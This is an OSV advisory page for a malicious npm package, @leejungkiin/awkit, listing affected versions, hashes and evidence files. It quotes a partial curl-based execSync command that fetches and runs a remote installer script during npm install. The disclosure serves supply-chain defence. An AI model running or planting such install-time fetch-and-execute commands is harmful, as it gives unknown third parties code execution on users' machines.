MAL-2026-13427

See a problem?

Import Source

https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@leejungkiin/awkit/MAL-2026-13427.json

JSON Data

https://api.osv.dev/v1/vulns/MAL-2026-13427

Published

2026-08-06T14:22:52Z

Modified

2026-08-06T15:34:44.616680520Z

Summary

Malicious code in @leejungkiin/awkit (npm)

Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (0aa6db17591fc0a27924ca615763ffd2a3eb92d0f517de9719ce74ef47ac4add)

The package ships scripts/dependency-manager.js which, when run as part of the install lifecycle, invokes execSync('curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh...') to fetch and execute an installer script from the rtk-ai/rtk repository on a mutable master branch. The fetched shell script is not pinned to a commit or hash and is controlled by a third-party GitHub account whose relationship to the @leejungkiin scope is not established. The same script also contacts https://www.rtk-ai.app and reads platform/home-directory information (os.homedir(), process.platform) during its operation. Because npm executes lifecycle scripts on install, this results in remote code execution from an unpinned, third-party-controlled source on the installer's machine, and the fetched code has full shell privileges to modify the environment, install further binaries, or exfiltrate host data. Additional bundled code (bin/awk.js, scripts/model-manager.js) combines child_process usage with hardcoded HTTP POST/fetch endpoints in a minified bundle.

Database specific

{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-08-06T14:23:01Z",
            "id": "IN-MAL-2026-016622",
            "import_time": "2026-08-06T15:19:33.615576359Z",
            "versions": [
                "3.6.1"
            ],
            "source": "amazon-inspector",
            "sha256": "0a1a925a4b666d348aed293111236b77719aa29e1d5d130a17cf6d73ceda734e"
        },
        {
            "modified_time": "2026-08-06T14:25:30Z",
            "id": "IN-MAL-2026-016639",
            "import_time": "2026-08-06T15:19:34.50635312Z",
            "versions": [
                "3.3.9"
            ],
            "source": "amazon-inspector",
            "sha256": "42faaa7f4f9cb95f0d65f6f40859cf76c2e8a1e154fdce9293b60599f26e038e"
        },
        {
            "modified_time": "2026-08-06T14:24:08Z",
            "id": "IN-MAL-2026-016630",
            "import_time": "2026-08-06T15:19:33.987738609Z",
            "versions": [
                "3.5.10"
            ],
            "source": "amazon-inspector",
            "sha256": "d4a5d67590bc44ac283475db8af4539baac581fb913d0d28bfa3aeeb7f3168ea"
        },
        {
            "versions": [
                "3.4.4"
            ],
            "id": "IN-MAL-2026-016633",
            "import_time": "2026-08-06T15:19:34.178542556Z",
            "modified_time": "2026-08-06T14:24:34Z",
            "source": "amazon-inspector",
            "sha256": "0aa6db17591fc0a27924ca615763ffd2a3eb92d0f517de9719ce74ef47ac4add"
        },
        {
            "modified_time": "2026-08-06T14:22:52Z",
            "id": "IN-MAL-2026-016621",
            "import_time": "2026-08-06T15:19:33.574307197Z",
            "versions": [
                "3.6.2"
            ],
            "source": "amazon-inspector",
            "sha256": "3e499c5c0eabd3d65b9dda518fbb66f4c21b84df9197103ad4fcdc4f227354af"
        },
        {
            "versions": [
                "3.3.3"
            ],
            "id": "IN-MAL-2026-016645",
            "import_time": "2026-08-06T15:19:34.917798465Z",
            "modified_time": "2026-08-06T14:26:26Z",
            "source": "amazon-inspector",
            "sha256": "a577737407f35d7b4fbf0431aff54120225be0f9c15e9663f0630024b5b51946"
        },
        {
            "versions": [
                "3.5.5"
            ],
            "id": "IN-MAL-2026-016626",
            "import_time": "2026-08-06T15:19:33.771727964Z",
            "modified_time": "2026-08-06T14:23:36Z",
            "source": "amazon-inspector",
            "sha256": "d373c1a3b3d4e7d84a6e7dc2133890b6675426abc73486e61ebf833169f4e43b"
        },
        {
            "modified_time": "2026-08-06T14:23:59Z",
            "id": "IN-MAL-2026-016629",
            "import_time": "2026-08-06T15:19:33.945676361Z",
            "versions": [
                "3.5.0"
            ],
            "source": "amazon-inspector",
            "sha256": "f83f447a2daea941d56335e320da7042b6317d576a94bd3fdc1ed864330fd813"
        },
        {
            "versions": [
                "3.5.7"
            ],
            "id": "IN-MAL-2026-016625",
            "import_time": "2026-08-06T15:19:33.725778066Z",
            "modified_time": "2026-08-06T14:23:26Z",
            "source": "amazon-inspector",
            "sha256": "1065add408e0c6b547f781d3eabea2bbc4dd24b4576bd484b8e3c16d884720ac"
        },
        {
            "modified_time": "2026-08-06T14:24:27Z",
            "id": "IN-MAL-2026-016632",
            "import_time": "2026-08-06T15:19:34.133511993Z",
            "versions": [
                "3.4.7"
            ],
            "source": "amazon-inspector",
            "sha256": "11d2a8af770eb13adf7579dc2c3c509f41455bc3324b1f7dac68c25c4e87ba4f"
        },
        {
            "versions": [
                "3.4.6"
            ],
            "id": "IN-MAL-2026-016635",
            "import_time": "2026-08-06T15:19:34.273795423Z",
            "modified_time": "2026-08-06T14:24:51Z",
            "source": "amazon-inspector",
            "sha256": "2fa77026374f0027fc9c2f41c9f6bbafeb51a0570d7a4a2e92b7607c13c75271"
        },
        {
            "versions": [
                "3.5.6"
            ],
            "id": "IN-MAL-2026-016627",
            "import_time": "2026-08-06T15:19:33.82290202Z",
            "modified_time": "2026-08-06T14:23:42Z",
            "source": "amazon-inspector",
            "sha256": "329106cb85649866ee343f65c84c1a9d28c00566adbc1052bfcf960e8319a974"
        },
        {
            "versions": [
                "3.4.1"
            ],
            "id": "IN-MAL-2026-016637",
            "import_time": "2026-08-06T15:19:34.38863958Z",
            "modified_time": "2026-08-06T14:25:14Z",
            "source": "amazon-inspector",
            "sha256": "5e4a132a5cc06766fa18facfd5508d390efcf6edf4b65dcd5b8dc8cef36c738e"
        },
        {
            "versions": [
                "3.4.2"
            ],
            "id": "IN-MAL-2026-016640",
            "import_time": "2026-08-06T15:19:34.550265795Z",
            "modified_time": "2026-08-06T14:25:38Z",
            "source": "amazon-inspector",
            "sha256": "7f30a0974e6cecbaec4965af63bf40a1b0421ec8b98a84d2496be7c0c5593760"
        },
        {
            "modified_time": "2026-08-06T14:23:10Z",
            "id": "IN-MAL-2026-016623",
            "import_time": "2026-08-06T15:19:33.649788607Z",
            "versions": [
                "3.5.9"
            ],
            "source": "amazon-inspector",
            "sha256": "bf076f6ea09cee0d5ecad5e8891824de19f4e8a7225aca2c93d2037fe493862d"
        },
        {
            "versions": [
                "3.3.8"
            ],
            "id": "IN-MAL-2026-016641",
            "import_time": "2026-08-06T15:19:34.629049611Z",
            "modified_time": "2026-08-06T14:25:46Z",
            "source": "amazon-inspector",
            "sha256": "c60d57329c21d332faeba9050acdd8525edf4f1fe63f89ace8fa1dcc70aad93c"
        },
        {
            "versions": [
                "3.3.1"
            ],
            "id": "IN-MAL-2026-016646",
            "import_time": "2026-08-06T15:19:34.982898408Z",
            "modified_time": "2026-08-06T14:26:35Z",
            "source": "amazon-inspector",
            "sha256": "25a2ff97af8a46fa8229c044e827e21acf3b083a4693b8841c64f7ca997d9ab0"
        },
        {
            "modified_time": "2026-08-06T14:26:09Z",
            "id": "IN-MAL-2026-016643",
            "import_time": "2026-08-06T15:19:34.782506727Z",
            "versions": [
                "3.3.4"
            ],
            "source": "amazon-inspector",
            "sha256": "397f7af10dc34a1ee6275ceab224d4d7a6b2c25b682818afbd3d64765e549386"
        },
        {
            "versions": [
                "3.3.2"
            ],
            "id": "IN-MAL-2026-016644",
            "import_time": "2026-08-06T15:19:34.837640494Z",
            "modified_time": "2026-08-06T14:26:18Z",
            "source": "amazon-inspector",
            "sha256": "4f69382e3c75aa4bc66ce9efadd3661e5af7cfde7f761717a26b8e74d8486e60"
        },
        {
            "versions": [
                "3.4.3"
            ],
            "id": "IN-MAL-2026-016636",
            "import_time": "2026-08-06T15:19:34.326291401Z",
            "modified_time": "2026-08-06T14:25:03Z",
            "source": "amazon-inspector",
            "sha256": "6d9d978dc352805ffde329c488834a32666b90c0c6309ee2c511ef11a88aa947"
        },
        {
            "versions": [
                "3.3.5"
            ],
            "id": "IN-MAL-2026-016642",
            "import_time": "2026-08-06T15:19:34.671953018Z",
            "modified_time": "2026-08-06T14:25:54Z",
            "source": "amazon-inspector",
            "sha256": "70f62693f5cf05acfaac84926f4fdcfed7e9148eaba2498ead0aa706525b004b"
        },
        {
            "modified_time": "2026-08-06T14:24:43Z",
            "id": "IN-MAL-2026-016634",
            "import_time": "2026-08-06T15:19:34.221955359Z",
            "versions": [
                "3.4.5"
            ],
            "source": "amazon-inspector",
            "sha256": "ca64abd89bb7bc014c7fbfdc98d5bafaa0addc058539c385c1dad6aafa30ca4f"
        },
        {
            "modified_time": "2026-08-06T14:23:51Z",
            "id": "IN-MAL-2026-016628",
            "import_time": "2026-08-06T15:19:33.871393229Z",
            "versions": [
                "3.6.0"
            ],
            "source": "amazon-inspector",
            "sha256": "d6aa7c559a7ed6d9555d51f4e632cd0cd0d7871e8562c00c3b766a8e00136f22"
        },
        {
            "modified_time": "2026-08-06T14:24:19Z",
            "id": "IN-MAL-2026-016631",
            "import_time": "2026-08-06T15:19:34.076246887Z",
            "versions": [
                "3.4.8"
            ],
            "source": "amazon-inspector",
            "sha256": "6635437701cd2765e1d97623636c4906b144d75442904b5afd1e6983a52d9a18"
        },
        {
            "modified_time": "2026-08-06T14:23:18Z",
            "id": "IN-MAL-2026-016624",
            "import_time": "2026-08-06T15:19:33.684465079Z",
            "versions": [
                "3.5.8"
            ],
            "source": "amazon-inspector",
            "sha256": "30c74792557ba4501f04cbd010be3d25002c8ca55234c57bd75f7f93f7ed5618"
        },
        {
            "versions": [
                "3.4.0"
            ],
            "id": "IN-MAL-2026-016638",
            "import_time": "2026-08-06T15:19:34.447716435Z",
            "modified_time": "2026-08-06T14:25:23Z",
            "source": "amazon-inspector",
            "sha256": "3a2caadd8c859f96014136ec3c01d7b6b8016ff218f157651f5f40f2a3e5227c"
        }
    ]
}

References

Credits

- Amazon Inspector - FINDER
- - inspector-research@amazon.com

Affected packages

npm / @leejungkiin/awkit

Package

Name: @leejungkiin/awkit; View open source insights on deps.dev
Purl: pkg:npm/%40leejungkiin/awkit

Affected ranges

Affected versions

3.*

3.3.1

3.3.2

3.3.3

3.3.4

3.3.5

3.3.8

3.3.9

3.4.0

3.4.1

3.4.2

3.4.3

3.4.4

3.4.5

3.4.6

3.4.7

3.4.8

3.5.0

3.5.5

3.5.6

3.5.7

3.5.8

3.5.9

3.5.10

3.6.0

3.6.1

3.6.2

Database specific

cwes

[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]

indicators

{
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-Ark/pQF6uwIYSS+4TdNW8J5V42AFA1YWGouWsUupcp7Gby1l6alTtNToEgLToK48fb4Uownh7OfAs7zXgdCdJA==",
                "sha1": "1e70a6533c9e5613ee7bce2489f708017a0f92b2"
            },
            "filename": "awkit-3.6.1.tgz"
        }
    ],
    "evidence_files": [
        {
            "path": "bin/awk.js",
            "tlsh": "5694a56a05fb11257a77e16d9b8f00226529f1873608dd247aacf3447fce168c6b27f8",
            "sha256": "791a73db5c7743fc3e3b1db4d6ee98f52f00ebd3f5cd72beabce58eec5a0bab6"
        },
        {
            "path": "docs/research/reverse-skills-study/credittone-android-re/android-reverse-engineering/skills/android-reverse-engineering/scripts/install-dep.sh",
            "tlsh": "e852875b61b191b13e2843e56e8751a15391103f0cac7851b5ff7b08bb27b6ca1b372b",
            "sha256": "af3058cb000b9b794e336c1de9d48c395969f41d801f631d3e0fce450460ff16"
        },
        {
            "path": "scripts/dependency-manager.js",
            "tlsh": "dae174ef06eb523459736669c70f8136661bd2031b4cdeb8b9df02056f4262882f7bd9",
            "sha256": "9c4e6dde57fad3106fee93fee440f1ed7fff6079c66389ce328d74e60d14b1ad"
        },
        {
            "path": "scripts/model-manager.js",
            "tlsh": "ede2854916f726264cb765a9db4f4025b419d4c33609ce647face3403f8a168dab2bec",
            "sha256": "a006eb22aaa303eff9bdf6613e45a1cdeec4e9ed2f718428af8dc34ab50ecfbc"
        },
        {
            "path": "symphony/multica-ref/apps/desktop/src/main/daemon-manager.ts",
            "tlsh": "d6d2f90731bd22764eb33569a25f6062271482133719d9e4f6dd97042f8b06ed1f2fea",
            "sha256": "dde58b4776642d9b5287a8600dc4067ac1492123fce7524e715e57b1b9ffdadf"
        },
        {
            "path": "symphony/multica-ref/scripts/ensure-postgres.sh",
            "tlsh": "f9514100f584ca700d9cd2d23842945ae569008f99492e2db3efbac43bbc755f43e61a",
            "sha256": "35e11202d0d213d9109f5302c7a2e9fe28c14987dc9669c1fa9b520f36936635"
        }
    ]
}

source

"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@leejungkiin/awkit/MAL-2026-13427.json"